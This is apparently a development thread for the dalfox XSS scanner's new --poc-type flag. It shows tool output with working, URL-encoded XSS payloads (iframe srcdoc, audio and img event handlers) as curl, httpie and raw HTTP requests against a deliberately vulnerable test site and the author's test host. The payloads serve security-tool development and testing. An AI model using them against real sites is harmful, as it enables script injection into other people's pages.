New flag (root / --poc-type)

[hahwul]

--poc-type=plain, --poc-type=curl, --poc-type=httpie

plain (default)

[POC][V][GET][inHTML-none(1)-URL] http://testphp.vulnweb.com/listproducts.php?cat=%3Ciframe+srcdoc%3D%22%3Cinput+onauxclick%3Dprint%281%29%3E%22+class%3Ddalfox%3E%3C%2Fiframe%3E

curl (--poc-type=curl)

[POC][V][GET][inHTML-none(1)-URL] curl -i -k http://testphp.vulnweb.com/listproducts.php?cat=%3Ciframe+srcdoc%3D%22%3Cinput+onauxclick%3Dprint%281%29%3E%22+class%3Ddalfox%3E%3C%2Fiframe%3E

[hahwul]

Test

curl

$ ./dalfox url http://frozen.hahwul.com:8070/ -d "query=1234" -X POST --poc-type curl

[POC][V][POST][inHTML-none(1)-FORM] curl -i -k -X POST http://frozen.hahwul.com:8070/ -d "query=1234%3Caudio+controls+ondurationchange%3Dconfirm%281%29+id%3Ddalfox%3E%3Csource+src%3D1.mp3+type%3Daudio%2Fmpeg%3E%3C%2Faudio%3E"

httpie

$ ./dalfox url http://frozen.hahwul.com:8070/ -d "query=1234" -X POST --poc-type httpie

[POC][V][POST][inHTML-FORM] http POST http://frozen.hahwul.com:8070/ "query=1234%27%22%3E%3Ciframe+srcdoc%3D%22%3Cinput+onauxclick%3Dalert%281%29%3E%22+class%3Ddalfox%3E%3C%2Fiframe%3E" --verify=false

[hahwul]

http-request

$ ./dalfox url http://testphp.vulnweb.com/listproducts.php\?artist\=123 --poc-type http-request

...
[V] Triggered XSS Payload (found DOM Object): artist='><img/src/onerror=.1|alert`` class=dalfox>
    48 line:  syntax to use near ''><img/src/onerror=.1|alert`` class=dalfox>' at line 1
[POC][V][GET][inHTML-URL] HTTP RAW REQUEST
GET /listproducts.php?artist=123%27%3E%3Cimg%2Fsrc%2Fonerror%3D.1%7Calert%60%60+class%3Ddalfox%3E HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip
...